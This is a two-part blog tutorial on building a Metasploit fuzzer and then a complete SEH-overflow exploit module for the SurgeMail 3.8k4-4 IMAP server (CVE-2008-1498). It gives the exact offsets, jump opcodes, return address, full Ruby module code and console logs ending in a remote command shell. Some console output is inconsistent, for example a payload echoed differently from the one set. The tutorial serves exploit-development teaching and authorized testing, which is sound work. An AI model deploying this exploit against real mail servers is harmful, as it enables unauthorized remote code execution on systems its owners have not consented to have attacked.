How to Write a Metasploit Module – Part 2

After a long semester of non-stop work, I’ve finally gotten around to writing another post. This one took a little extra research on my part which would explain the delay. Previously, I explained how to write a simple IMAP fuzzer using the Metasploit Framework. It was fun, right? Compromising a machine is all the more fun when you’ve done it with tools that you wrote yourself. Well, to be politically correct, we didn’t exactly compromise the machine; we just crashed it with a denial-of-service. However, in this post I’m going to show you how to turn our cute, little, fuzzy, wuzzy, fuzzer into a full-blown exploit that results in a remote shell. This is the real fun stuff. :)

Exploit development can be quite a tedious task; calculating buffer offset lengths, finding the exact return address, thinking forwards and backwards because of big and little endian architectures, swimming through seas of disassembled code looking for patterns, and so much more. Fortunately, we have the Metasploit Framework. As you’ll soon see, MSF provides a plethora of tools to help make this job easier for us.

We last left of by increasing the fuzz string length to 11,000 bytes. This allowed us to overwrite the Structured Exception Handler (SEH) for the surgemail.exe process. Now that we know this, let’s try and take control of the SEH record.

Before we move on, let me explain a little about SEH first. Unfortunately, SEH is one of the most under-documented features of the Windows platform. There’s nothing I hate more than lack of documentation for a particular tool. It really makes my blood boil. Luckily, Matt Pietrek wrote a fantastic article here on the subject back in ’97. I highly recommend you read his article in addition to what I’ll explain here. It is very well written which is uncommon for Windows technologies.

Structured Exception Handling is the native exception handling mechanism on the Windows platform. Every process has an SEH chain (just a basic linked list) that’s supplied by the OS. When an exception is thrown, the OS traverses the list, calling each exception handler until one of them signals that is has handled the exception. Each record (of type _EXCEPTION_REGISTRATION) in the list is eight bytes in length and has two fields:

  1. A four byte _EXCEPTION_REGISTRATION* pointer to the next record.
  2. A four byte DWORD pointer to the exception handler.

For the sake of simplicity, I’ll be referring to the _EXCEPTION_REGISTRATION* field as NextSEH and the DWORD pointer to the exception handler as SEHandler. These are not the actual names used in the SEH source code but since M$ has so thoughtfully closed their source code, I’ll just use my own names.

Actually, the _EXCEPTION_REGISTRATION* pointer points to the previous record. I’m not sure why M$ does this backwards since just about every programmer on earth has each node in a linked list point to the next node. It doesn’t really matter what direction you think in though.

That means it will look like this:

SEH Chain

SEH chain implemented as a linked list.

Notice that the record for the default handler always sits at 0xffffff. This is MSVCRT!exhandler which displays an error message indicating a general protection fault (GPF). You know the one:

foobar.exe has encountered an error and needs to close. We are sorry for the inconvenience. We’ve created an error report that you can send to help us improve foobar.exe.

There are a few different techniques for exploiting SEH but, generally speaking, it works by overflowing a buffer all the way into the current _EXCEPTION_REGISTRATION record on the stack. The buffer is specially crafted so that the first field in the record points to some malicious shellcode and the second field points back to the first field so that the shellcode gets executed. I’m going to show you something slightly different though. This process gets a little more involved but I’ll explain it further once we reach that point.

Let’s pick up where we left off. Remember we were using a buffer of 11,000 A’s? Let’s try it again so this time I can give you a screenshot. On the target machine, restart the surgemail.exe service, attach the Immunity Debugger to the process and press play (make sure to run them both as the Administrator). Back on your machine (I’m using BackTrack 5), rerun the fuzzer in msfconsole. After merely one (very long) request, you should now see the process crash as expected in the debugger. So far, so good. To see how this affected the SEH chain, navigate to View → SEH Chain. You will see the value 41414141; 0x41 being the ASCII value for ‘A’. Perfect. Now right-click on this and select “Follow address on stack”. This will dispaly the contents of the stack at the point where the SEH record was overwritten. Isn’t Immunity Debugger great?

SEH Fuzz Overflow (A)

SEH record overwritten with ASCII ‘A’ sequence.

This is where things get interesting. When the exception is handled, the EIP register will be set to the address of the SEH handler. Since we now control the value of this handler, we can redirect execution to our shellcode (we’ll add this later).

Just like in a traditional buffer overflow, we now have to determine the precise length of the buffer required to overflow into SEH. If you haven’t already, this is where you are going to fall in love with MSF. Trust me.

Back in our fuzzer module, modify the code in the run() method so that it looks like this:

print_status(“Generating fuzzed data...”)
fuzzed = Rex::Text.pattern_create(11000)    # Point A
print_status(“Sending fuzzed data, buffer length = %d” % fuzzed.length)
req = '0002 LIST () "/' + fuzzed + '" "PWNED"' + "\r\n"

Notice the call to Rex::Text.pattern_create() at Point A. This creates a non-repeating, unique string (this actually does the same thing as the msf4/tools/pattern_create.rb script.) It takes an integer argument specifying the string length which, in our case, is 11,000. Well, so what? Who cares, right? Any nonsense string should work. No. This means that when we overwrite the SEH record, it will contain a unique value that’s within the fuzzed string. Once we know that, we can calculate how far into the buffer that pattern occurs and that will become our exact buffer length. So simple, yet so genius.

Repeat the process all over again of restarting surgemail.exe, attaching the debugger to it, and rerunning the fuzzer. This time SEH is overwritten with the value 684E3368 (this value may be different on your machine though.)

SEH Overflow Using pattern_offset()

SEH record overwritten with unique value from pattern_offset().

Now we can take this value and determine at what point it occurs in the string. Then we’ll know exactly how long our buffer needs to be. As you’d imagine, MSF already provides us with just the tool for this: pattern_offset.rb. From the Metasploit root directory, it’s in msf/tools. Running it without any argument displays it’s usage information:

root@bt:/opt/metasploit/msf3/tools# ./pattern_offset.rb
Usage: pattern_offset.rb
Default length of buffer is none is inserted: 8192
This buffer is generated by pattern_create() in the Rex library automatically

So the first argument is the pattern to search for and the second is the buffer length that was passed to pattern_create() earlier. Let’s give it a shot:

root@bt:/opt/metasploit/msf3/tools# ./pattern_offset.rb 684E3368 11000
10360

Right away it tells us that the offset is 10360 bytes. What does that mean? It means that the four bytes that will overwrite the SEH record on the stack are at the offsets 10361, 10362, 10363, and 10364. To verify this, modify the fuzzed string in our module once again so that it looks like this:

print_status("Generating fuzzed data...")
fuzzed = "\x41" * 10360 + "\x42" * 4 + "\x43" * 636
print_status("Sending fuzzed data, buffer length = %d" % fuzzed.length)

This makes our fuzz string begin with 10,360 A’s, followed by four B’s, and ending with 636 C’s. Make sure you understand that the four B’s is what will overwrite the SEH record. The first B is at offset 10361, the second at 10362, the third at 10363, and the fourth at 10364. Simple. Lastly, the 636 C’s at the end act as extra padding so that the total length remains at 11,000 bytes.

Run the fuzzer once again and you see that the SEHandler pointer has been overwritten with the four B’s. This is exactly what we wanted.

SEH Fuzz Overflow (B)

SEH record overwritten with ASCII ‘A’ and ‘B’ sequence.

At this point, we’re finished with the fuzzing process and can begin developing the actual exploit.

Generally speaking, a traditional SEH overflow exploit can be broken down into four steps:

  1. Force an exception to be thrown.
  2. Overwrite the NextSEH field with a JMP instruction to jump to the shellcode.
  3. Overwrite the SEHandler field with a pointer to a POP-POP-RETURN sequence.
  4. Execution will now go to the address pointed to by NextSEH.

Corelan has an excellent article on the entire process here. Read it. Read it now.

Before moving on, I want to explain why we’re using a POP-POP-RETURN sequence. For the longest time, I could not understand the purpose of using this seemingly random sequence of instructions. When a __try statement is encountered at compile time, MSVC calls the “function prologue” named EH_prolog(). This function allocates an 8-byte _EXCEPTION_REGISTRATION structure on the stack and adds it to the head of the list. This means that the pointer to the next SEH record (NextSEH) is located at ESP+8. The POP-POP-RETURN instructions place this address into the EIP register and directs execution to the code pointed to by the NextSEH field which we have already overwritten with a JMP to our shellcode. Pretty clever, right?

However, we are dealing with very limited space here. A near jump instruction is five bytes but we only have four bytes of space. That one extra byte would overflow into the SEHandler field, completely screwing things up. On the other hand, a short jump is only four bytes in length. That’s why we’re gonna have to be a little more creative with our solution.

We’ll overwrite the SEHandler field with a pointer to a POP-POP-RETURN sequence as usual. However, then we’ll use a short jump backward to gain that extra five bytes of space. After that, we’ll perform a larger near jump back into a NOP sled (to give us some wiggle room) which will “slide” execution down to the shellcode. It’s a little tricky so, again, I strongly urge you to read Corelan’s article on SEH exploits.

This is what the buffer will end up looking like:

Malicious SEH Buffer

Contents of malicious buffer to overwrite SEH record.

When choosing a POP-POP-RETURN sequence, you should always use a universal address from the application DLL or executable. This will make the exploit more portable across different Windows platforms. So how do we find the address of a POP-POP-RETURN sequence in surgemail.exe? You have two choices: if you’re still using Immunity Debugger (which I hope you are), then you can download the mona PyCommand plugin by Corelan. Your second choice is Metasploit’s msfpescan. Both of these tools will search a Portable Executable (PE) binary and return a memory map containing the requested sequence of instructions.

To be honest, I had a bit of trouble using msfpescan. In fact, it’s because of msfpescan that it took me so long to publish this post. Oddly enough, the addresses reported by msfpescan and mona when run against the same executable were not the same. Even more strange, the exploit would not work when using any address found with msfpescan. However, one try with an address from mona and everything went fine. I won’t bash msfpescan though. It really is a great tool. Therefore, even though I’m trying to showcase MSF here, we’re going to use mona for this step.

Since we’re looking for a POP-POP-RETURN sequence, we’re going to use mona’s seh command. In the command box near the bottom of the window, type the following command:

!mona seh

That’s it! It’s quite fast and should only take about five second to complete. You can either view the output in the log file (Alt+L) or seh.txt in the Immunity Debugger installation directory. It will look a little something like this:

Contents of seh.txt

Memory map generated by mona.

It doesn’t matter which address you choose. For this demonstration, the one at 0x006ef690 will do just fine. Now that we have an address, we can plug it into our exploit module. Oh wait…we never wrote it! All this time spent focusing on theory and we haven’t written a thing. Let’s do that now.

Save the following file to ~/.msf4/modules/exploits/windows/imap/surgemail_overflow.rb.

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote    # Point A
	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the Surgemail IMAP Server
				version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
				account credentials are required.
			},
			'Author'         => [ 'ryujin' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'BID', '28260' ],
					[ 'CVE', '2008-1498' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/5259' ]
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread'
				},
			'Payload'        =>
				{
					'Space'       => 10351,
					'DisableNops' => true,
					'BadChars'    => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x2f\x3a\x40\x7b"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => "\x90\xf6\x6e" } ]
				],
			'DisclosureDate' => 'March 13 2008',
			'DefaultTarget'  => 0))
	end

	def exploit
		connected = connect_login

		lead = "\x41" * 10360                    # Point B
		evil = lead + [target.ret].pack("A3")    # Point C

		print_status("Sending payload")

		sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"    # Point D
		sock.put(sploit)

		handler
		disconnect
	end
end

Don’t panic. I know we’ve done a lot here and there’s several new fancy things. We’ll dissect this step by step.

Notice that at Point A we’re no longer inheriting from Msf::Auxiliary. This is because we’re no longer working with an auxiliary module. Now that we’re developing the actual exploit, we inherit from Msf::Exploit::Remote instead.

You should already be familiar with the call to super() in the initialize() method which I explained in Part 1. However, this time we’ve added a whole new set of keys to that big, long hash.

The first new one that you’ll notice is 'References':

'References' =>
    [
        [ 'BID', '28260' ],
        [ 'CVE', '2008-1498' ],
        [ 'URL', 'http://www.exploit-db.com/exploits/5259' ]
    ]

This is merely an array of arrays, each index referencing some resource that describes the exploit. Here we included the BID, CVE, and EDB identifiers. These references will be displayed along with a few other bits of information when using the info command in msfconsole.

'Privileged' => false

The Privileged key is a boolean value that determines what type of privileges you’ll have once a remote shell has been spawned. Depending on the platform, setting it to true means that the shell will run as either the root, Administrator, or SYSTEM user. Here we set it to false which means the shell will spawn as an unprivileged user. Of course there are ways to escalate privileges once you have a remote shell; Privileged just specifies what it will start as.

'DefaultOptions' =>
    {
        'EXITFUNC' => 'thread'
    }

The DefaultOptions key is a hash that lets you override certain default values set by MSF. There are a whole set of valid keys that can be used but the most common one you’ll encounter is EXITFUNC. Here we have set it to ‘thread’. This is usually the case and, in fact, defaults to ‘thread’ anyway when not given explicitly. This indicates that the shellcode should be run in a sub-thread and exiting the thread will result in a clean, working system. The other two values this option can take on are ‘process’ and ‘seh’ but don’t concern yourself too much with this.

'Payload' =>
    {
        'Space' => 10351,
        'DisableNops' => true,
        'BadChars' => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x2f\x3a\x40\x7b"
    }

The Payload key is a hash where we configure the payload. The Space key indicates the space available for the shellcode; in our case, 10351 bytes. This value is very important because it will determine what payloads can be used with our module. So why is this value not 10,360 like it was before? It’s to account for the two JMP instructions we’ll be adding later on. Their combined size is 9-bytes so the total space has been decreased accordingly: 10,360 – 9 = 10,351.

If you’re curious, you can view the size of a particular payload with the info command. However, the size displayed represents the unencoded payload. Encoding a payload increases its size so be careful. Do not underestimate the importance of this option.

The next key in Payload is DisableNops. Setting it to true prevents the shellcode from automatically being padded with NOP’s since we’ll be adding a NOP sled ourselves. When writing other modules, you can set it’s size with the NopSledSize key.

After that comes BadChars. This is where you specify the characters that, when parsed, will somehow disrupt the execution of the payload. These bad characters will ruin the exploit’s reliability. Any characters included here will be excluded from the shellcode and any other generated strings or NOP’s. Obviously, the NULL character (\x00) is one of these but where did the other bad characters come from? I cheated a little bit and looked at a few other IMAP exploits and included their BadChars.

'Platform' => 'win'

The Platform key should be pretty easy to figure out. It’s set to ‘win’ because our exploit is only for the Windows platform. Simple.

'Targets' =>
    [
        [ 'Windows Universal', { 'Ret' => "\x90\xf6\x6e" } ]
    ]

The Targets keys is another AoA that lets you further refine the list of vulnerable targets. Since the Surgemail exploit is not dependent on any particular version of Windows, we’ve set it to ‘Windows Universal’. If it was, this is where you’d specify the version and service pack of the vulnerable platform.

The second index is a hash where we’ve specified the return address in Ret. There are several other valid keys for this hash but don’t worry about them. There are two important things to understand here. Notice that we’ve taken endian-ness into account and written the return address backwards. This is because the Intel x86 architecture is little-endian. Also we’ve left off the leading \x00. This is because the OS would interpret this as a null byte and stop parsing the rest.

'DisclosureDate' => 'March 13 2008'

As you can guess, DiscloureDate is just a string that specifies the date the vulnerability was discovered. This is another one of the pieces of information displayed by the info command.

'DefaultTarget' => 0

Finally, the last key is DefaultTarget. This is an integer that specifies the index into the Targets array to use by default. Since we only have one, we’ve set it to 0.

Phew, that was a lot. Read over it again if you’re still a little confused.

Now let’s look at that fancy new exploit() method.

At Point B, we set up the first part of the buffer with 10,360 A’s. At Point C, we pack the return address into a binary representation and tack it on. At Point D, we stick the buffer into our malicious request and send it to the server. If you’re wondering, sock is an Rex::Socket::Tcp object that was so kindly given to us by Msf::Exploit::Remote::Imap.

We’re almost there. Before running the module, I want to show off another neat feature of MSF. Since we’re going to be running and closing and running and closing msfconsole over and over again, we can make our lives just a little easier by using what Metasploit calls a “resource file.” Think of it as a batch script for automating commonly used msfconsole commands.

Save the following file to ~/surgemail_overflow_config.rc:

use exploit/windows/imap/surgemail_overflow
set IMAPPASS abc123
set IMAPUSER foobar
set RHOST 192.168.1.32

Obviously, you would include whatever values are appropriate for your configuration. When you pass this file to the -r switch of msfconsole, it will automatically run those commands in sequence. Handy, right?

It gets even better. You can also include Ruby code inside a resource file; effectively turning resource files into a complete automation platform. Personally, I haven’t used it myself just yet but it’s not hard to imagine all the fun things that can be done with it.

Enough talk; time to run this thing. Instead of using a payload that launches a remote shell, we’re going to use generic/debug_trap first. This sends a series of \xCC's which is the opcode for a breakpoint. This will allow us to determine whether everything is working fine and the shellcode is in the right place by debugging at the point of the overflow.

root@bt:~# msfconsole -q -r surgemail_overflow_config.rc
[*] Processing surgemail_overflow_config.rc for ERB directives.
resource (surgemail_overflow_config.rc) use exploit/windows/imap/surgemail_overflow
resource (surgemail_overflow_config.rc) set IMAPPASS abc123
IMAPPASS => abc123
resource (surgemail_overflow_config.rc) set IMAPUSER foobar
IMAPUSER => foobar
resource (surgemail_overflow_config.rc) set RHOST 192.168.1.32
RHOST => 192.168.1.32
msf exploit(surgemail_overflow) > set PAYLOAD generic/debug_trap
PAYLOAD => generic/debug_trap
msf exploit(surgemail_overflow) > exploit

[*] Authenticating as foobar with password abc123...
[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail_overflow) >

See? No shell. Go back to Immunity Debugger and you should notice a message in the lower status bar: “Access violation when reading [41414191] – use Shift+F7/F8/F9 to pass exception to program”. Don’t do it just yet. First, navigate to View → SEH Chain once again. Right-click the current handler and select “Toggle breakpoint on handler” to set a breakpoint. Now you can press Shift+F9 to pass the exception to the program.

SEH Overflow Breakpoint

Breakpoint set at 0x006b413a.

Look at the status bar again: “Breakpoint at surgemai.006B413A”. Does that number look familiar? It should because that’s the return address we set in Ret.

Now go back to the module and modify the evil string to include the instruction for the short jump backward:

lead = "\x41" * 10356
nseh = "\xeb\xf9\x90\x90"
evil = lead + nseh + [target.ret].pack("A3")

Notice that lead has been decreased by four bytes. This is to compensate for the space added by the short jump instruction in nseh: 10360 – 4 = 10356. This is important; without it, the alignment would be incorrect. This new addition will overwrite the NextSEH field with instructions to perform a short jump backward by five bytes.

Where did that random string of hex digits come from? Sure, I’ve told you it’s a short jump but you probably want to see for yourself, right?. Look:

root@bt:~# echo -ne "\xeb\xf9\x90\x90" | ndisasm -u -
00000000 EBF9 jmp short 0xfffffffb
00000002 90 nop
00000003 90 nop

By the way, 0xfffffffb is the two’s complement representation of 5. That way there are no null bytes in the instruction.

SEH Overflow Breakpoint With Short Jump

Short jump instruction overwriting the SEHandler field.

Now it’s time to add the final piece: the near jump further back into the shellcode. If you look at the above screenshot, you’ll see the large buffer of A’s. This is where the shellcode will be written. Therefore, we have over 10,000 bytes of space for the shellcode. This is plenty of room considering the average space needed is less than 500 bytes.

Edit the module again and modify it like so:

lead = "\x90" * (10351 – payload.encoded.length)
near = "\xe9\xdd\xd7\xff\xff"
nseh = "\xeb\xf9\x90\x90"
evil = lead + payload.encoded + near + nseh + [target.ret].pack("A3")

In the lead variable, we’ve replaced the initial string of A’s with a NOP sled. When calculating it’s length, notice that the total buffer size has been decreased again by five bytes from 10,356 to 10,351. This is because of the near jump instruction in the near variable.

root@bt:~# echo -ne "\xe9\xdd\xd7\xff\xff" | ndisasm -u -
00000000 E9DDD7FFFF jmp dword 0xffffd7e2

The nseh variable remains the same but evil has been modified to include a couple new things. Now it consists of the NOP sled at the beginning, followed by the encoded payload, the near jump, the short jump (overwriting NextSEH), and finally the return address of the POP-POP-RETURN sequence (overwriting SEHandler). This is exactly as we discussed earlier (see the diagram).

No more modifications. Now we can use a real payload that results in a remote shell.

msf exploit(surgemail_overflow) > set PAYLOAD windows/shell/bind_tcp
PAYLOAD => windows/meterpreter/reverse_tcp
msf exploit(surgemail_overflow) > exploit

[*] Authenticating as foobar with password abc123...
[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail_overflow) >

Back in Immunity Debugger, the access violation should look something like this:

SEH Overflow Access Violation

Access violation after sending windows/shell/bind_tcp payload.

Perfect! Notice that “Pointer to next SEH record” contains 9090F9EB – the short jump – and “SE handler” contains 006EF690 – the address of the POP-POP-RETURN sequence.

Take a look at the SEH chain:

SEH Overflow Overwritten SEH Record

SEH record overwritten.

Press F2 to set a breakpoint at the handler and the Shift+F9 to pass the exception to the program. After that, execution should jump right to the POP-POP-RETURN sequence.

SEH Overflow Execution at POP-POP-RETURN

After continuing, execution jumps to the POP-POP-RETURN sequence.

Step through each of these instructions by pressing F7 three times. POP. POP. RETURN. Yay!

As expected at this point, execution will now pass to the next exception handler which we’ve overwritten with the short jump. Step once with F7 to jump back to the near jump:

SEH Overflow Execution at JMP Instructions

Stepping to the next two JMP instructions.

Can you guess what will happen if we step one more time? I’ll give you a hint in the form of a multiple choice question:

A. Not the answer
B. Not the answer
C. Jump back to somewhere in the NOP sled
D. Not the answer

That’s right, C. Stepping one more time jumps back to some arbitrary location within the NOP sled. Don’t bother stepping through it; it’ll take you a good 9,000+ times.

SEH Overflow Execution at the NOP Sled

Execution at the huge NOP sled.

Well, wait a second…if everything worked as expected, why didn’t we get a remote shell? Bad characters. Dealing with bad characters is, without a doubt, the single most frustrating part of exploit development. Even though we declared everything in the BadChars key, I happen to know for a fact that there are a few more we forgot. However, rather than going through the grueling process of finding every single bad character, I’m fine with just running the exploit a couple times until it succeeds. I’m lazy like that. :P

msf exploit(surgemail_overflow) > rexploit

[*] Started bind handler
[*] Authenticating as foobar with password abc123...
[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail_overflow) > rexploit

[*] Started bind handler
[*] Authenticating as foobar with password abc123...
[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail_overflow) > rexploit

[*] Started bind handler
[*] Authenticating as foobar with password abc123...
[*] Sending payload
[*] Exploit completed, but no session was created.
msf exploit(surgemail_overflow) > rexploit

[*] Started bind handler
[*] Authenticating as test with password test...
[*] Sending payload
[*] Command shell session 1 opened (192.168.1.101:59501 -> 192.168.1.155:4444)

(C) Copyright 1985-2001 Microsoft Corp.

c:\surgemail>

Success! Finally!

Even though we’re technically done, any half-way decent Metasploit module will include a check command to verify that the target system is vulnerable. In most cases, this is usually just a simple banner grabber.

def check
    connect
    disconnect

    if (banner and banner =~ /(Version 3.8k4-4)/)
        return Exploit::CheckCode::Vulnerable
    end

    return Exploit::CheckCode::Safe
end

Simple. All we did was connect, immediately disconnect, and then check the captured banner stored in the banner variable. The banner for vulnerable systems will contain the string “Version 3.8k4-4″.

After reloading the module, running the check command will look like this:

msf exploit(surgemail_overflow) > check

[*] Connecting to IMAP server 192.168.1.32:143...
[*] Connected to target IMAP server.
[+] The target is vulnerable.

If you ever plan on publicly releasing your module, always make sure you provide a check command. After all, what good is it if you can’t even check if the target machine is vulnerable or not?

After all that nonsense, the final code should look like this:

require 'msf/core'

class Metasploit4 < Msf::Exploit::Remote
	include Msf::Exploit::Remote::Imap

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'Surgemail 3.8k4-4 IMAPD LIST Buffer Overflow',
			'Description'    => %q{
				This module exploits a stack overflow in the Surgemail IMAP Server
				version 3.8k4-4 by sending an overly long LIST command. Valid IMAP
				account credentials are required.
			},
			'Author'         => [ 'ryujin' ],
			'License'        => MSF_LICENSE,
			'Version'        => '$Revision$',
			'References'     =>
				[
					[ 'BID', '28260' ],
					[ 'CVE', '2008-1498' ],
					[ 'URL', 'http://www.exploit-db.com/exploits/5259' ]
				],
			'Privileged'     => false,
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread'
				},
			'Payload'        =>
				{
					'Space'       => 10351,
					'DisableNops' => true,
					'BadChars'    => "\x00\x09\x0a\x0b\x0c\x0d\x20\x2c\x2f\x3a\x40\x7b"
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 'Windows Universal', { 'Ret' => "\x90\xf6\x6e" } ]
				],
			'DisclosureDate' => 'March 13 2008',
			'DefaultTarget'  => 0))
	end

        def check
            connect
            disconnect

            if (banner and banner =~ /(Version 3.8k4-4)/)
                return Exploit::CheckCode::Vulnerable
            end

            return Exploit::CheckCode::Safe
        end

	def exploit
		connected = connect_login

                lead = "\x90" * (10351 – payload.encoded.length)
                near = "\xe9\xdd\xd7\xff\xff"
                nseh = "\xeb\xf9\x90\x90"
                evil = lead + payload.encoded + near + nseh + [target.ret].pack("A3")

		print_status("Sending payload")

		sploit = '0002 LIST () "/' + evil + '" "PWNED"' + "\r\n"
		sock.put(sploit)

		handler
		disconnect
	end
end

And there you have it! I hope I’ve done a decent job of showcasing the Metasploit Framework. It’s quite easy to see just how powerful it truly is. Whether you’re an attacker, exploit writer, or payload writer, MSF’s modular design makes all of these tasks a whole lot easier.

How to Write a Metasploit Module – Part 1

For the past month or so, when I’m not up to my eyeballs in Calculus II homework, I’ve been hanging around the Metasploit community looking for bugs and other small areas that could use some minor work. I quickly realized that even though I had been using Metasploit for years, I had never actually written my own module. For that matter, I’ve never even explored anything outside of msfconsole. I was ashamed.

It did not take me very long to see just how revolutionary the Metasploit Framework (MSF) truly is. There isn’t a single other piece of software out there that even comes close to doing what MSF does. Well, w3af is a similar auditing framework for web apps but I still think MSF is far superior.

There is a surprisingly little amount of articles on how to write a Metasploit module. The ones I’ve been able to find are rather poor anyway. Fortunately, there is an entire chapter dedicated to creating your own modules in Metasploit: The Penetration Tester’s Guide. This incredible book explains how to write a simple Internet Message Access Protocol (IMAP) fuzzer. However, it too is a little lacking so I’m going to make it how it should have been done: my way. :P

Writing a Metasploit module is really fun and really easy. If you have a general idea of want you want to do, did your research on how a particular exploit is carried out, and possess at least some experience with Ruby, you’ll find using MSF to be quite enjoyable. (As a side note, I highly recommend reading The Pickaxe Book. It is, without a doubt, the definitive reference to Ruby.)

We’re going to walk through the steps of exploiting a known vulnerability in the LIST command of NetWin’s SurgeMail IMAP server. This exploit was discovered by Matteo Memelli (ryujin) of the Gray-World.net Team. It allows authenticated users to trigger a buffer overflow, ending in arbitrary code execution. However, rather then just showing you how to write the module for delivering the actual shellcode, I’m going to walk through the steps of first writing a fuzzer to see where an overflow exists. Then in Part 2, I’ll explain how to extend this module to bypass SEH in order to achieve code execution.

This exploit only exists on SurgeMail 3.8k4-4 and has been fixed in recent versions. You can download a copy of 3.8k4-4 for Windows here. If you aren’t comfortable using the direct link because you don’t trust me (standard security policy demands that you shouldn’t), the directory tree can be found here.

All user-defined modules should live in the ~/.msf4/modules/ directory. Therefore, start off by opening up your favorite text editor (mine is vim) and save the following code to ~/.msf4/modules/auxiliary/fuzzers/imap_fuzzer.rb.

require 'msf/core'    # POINT A

class Metasploit4 < Msf::Auxiliary        # POINT B
    include Msf::Exploit::Remote::Imap    # POINT C
    include Msf::Auxiliary::Dos           # POINT D

    def initialize    # POINT E
        super(
            'Name'        => 'Simple IMAP Fuzzer',
            'Description' => %q{
                                An example of how to build a simple IMAP
                                fuzzer. Account IMAP credentials are
                                required in this fuzzer.
                               },
            'Author'      => [ 'ryujin' ],
            'License'     => MSF_LICENSE,
            'Version'     => '$ Revision: 1 $'
        )
    end

    def fuzz_str
        return Rex::Text.rand_text_alphanumeric(rand(1024))    # POINT F
    end

    def run    # POINT G
        srand(0)

        while (true)
            connected = connect_login()    # POINT H

            if not connected
                print_status('Host is not responding - this is G00D ;)')
                break
            end

            print_status('Generating fuzzed data...')
            fuzzed = fuzz_str()    # POINT I

            print_status(
                "Sending fuzzed data, buffer length = %d" % fuzzed.length
            )

            req  = '0002 LIST () "/'
            req += fuzzed + '" "PWNED"' + "\r\n"    # POINT J

            print_status(req)

            res = raw_send_recv(req)    # POINT K

            if !res.nil?
                print_status(res)
            else
                print_status('Server crashed, no response')
                break
            end

            disconnect()    # POINT L
        end
    end
end

Point A tells us that we are going to include all the functionality from the core library. MSF has a modular structure and is broken down into several pieces: the framework core, base, and ui. A full discussion of the MSF architecture is outside the scope of this tutorial but for now, know that the framework’s core library is the low-level interface that provides the required functionality for interacting with exploit modules, sessions, plugins, etc. This line alone gives us access to some 6,000+ different functions. If you’re interested in the full design of the framework, checkout the Metasploit Developer’s Guide.

At Point B, we begin defining the class and inherit from Msf::Auxiliary. Metasploit auxiliary modules are special in that they aren’t necessarily exploits that feature a payload. Instead, they can be considered as reconnaissance tools. This includes tools like port scanners, fuzzers, service fingerprinters, enumeration, information gathering, etc.

Points C and D are particularly important. This is where the modules for the IMAP protocol and denial-of-service are mixed in. If you aren’t familiar with the term, mixins are synonymous with abstract base classes. They’re meant to promote code reuse while avoiding the flagrant burdens of multiple inheritance. Put simply, this means we’re given several more functions just for denial-of-service attacks and the IMAP protocol.

In Ruby, the constructor is defined with the initialize() method which is at Point E. When using MSF, the constructor is typically going to consist of a call to the superclass’s constructor and passing it a hash where you setup various information and settings for your module (passing a hash as an argument is how Ruby fakes named parameters). As you can see, here we setup the name, description, version, author, and license. The constructor is also the place where you’d configure any extra variables with register_options(). However, this is just a simple fuzzer so we’re going to settle for the default variables we get from our mixins: IMAPPASS, IMAPUSER, RHOST, and RPORT.

At Point F in the fuzz_str() method, we use Rex to setup the malformed data we’re going to send. At the most, it’s going to be a 1024 byte string of randomized alphanumeric characters. What’s Rex you ask? Oh, you didn’t ask? You sure? Must have been one of my cats; they’re hackers too. Well, since they want to know, I’ll enlighten you as well. The Ruby Extension Library (Rex) is one of the most essential pieces of the Metasploit Framework. Think of it as Metasploit’s own Ruby API. Rex provides an assortment of classes for tasks such as generating assembly instructions, buffer encoding, basic logging, breaking down tasks into separate jobs, etc. Again, the Metasploit Developer’s Guide explains Rex in further detail.

At Point G, we override the run() method. When the user executes the run command from msfconsole, this method will be called. If this were an actual exploit and not an auxiliary module, we would instead override the exploit() method to be used as the exploit command.

Inside the while loop at Point H, we connect to and authenticate with the IMAP server by calling the connect_login() method. Perhaps you are thinking, “Hold on just a second! Where did connect_login() come from? How does it know what server to connect to? Not only that, but what credentials is it authenticating with? What the heck?” Here’s what the heck: remember the modules we mixed in? The connect_login() method came free of charge from Msf::Exploit::Remote::Imap. Also, remember before when I said that the modules we mixed in provide a set of default variables? The connect_login() method is going to use RHOST and RPORT (default 143) to determine what host and port to connect to. Then it’s going to use the values of IMAPPASS and IMAPUSER to perform the authentication. Tada! Yay for mixins! If the connection fails, the loop will break. Then we’ll know we have something to look into (I already know there is but try to act surprised).

At Point I, we generate the random string. Then at Point J, we setup the malformed LIST command. At Point K, we finally send our malformed data to the server with raw_send_recv() which was so kindling given to us by Msf::Exploit::Remote::Imap. Again, if we don’t receive a response, the loop breaks indicating that the server has crashed.

If after all that, everything is fine and we do receive a response, we disconnect from the server at Point L and repeat the process all over again. This fuzzer will continue to run and run until the end of time (or until your laptop battery dies) unless the server finally crashes.

Before we can begin fuzzing, we need to set up a debugger that’s attached to the surgemail.exe process on the target machine. If you’re more comfortable with WinDbg, that’s fine; but for this tutorial, I’m going to use Immunity Debugger. Immunity Debugger is very powerful because it’s specifically designed for exploit development and reverse engineering. It’s definitely worth checking out. Since SurgeMail is a system service, run Immunity Debugger as the Administrator, press Ctrl+F1, select surgemail from the list in the new window, and click Attach. Done. Now we’re ready.

Let’s run this bad boy already. Start up msfconsole, wait forever for it to load, and setup our little fuzzer like this:

msf > use auxiliary/fuzzers/imap_fuzzer
msf auxiliary(imap_fuzzer) > set IMAPPASS abc123
IMAPPASS => abc123
msf auxiliary(imap_fuzzer) > set IMAPUSER foobar
IMAPUSER => foobar
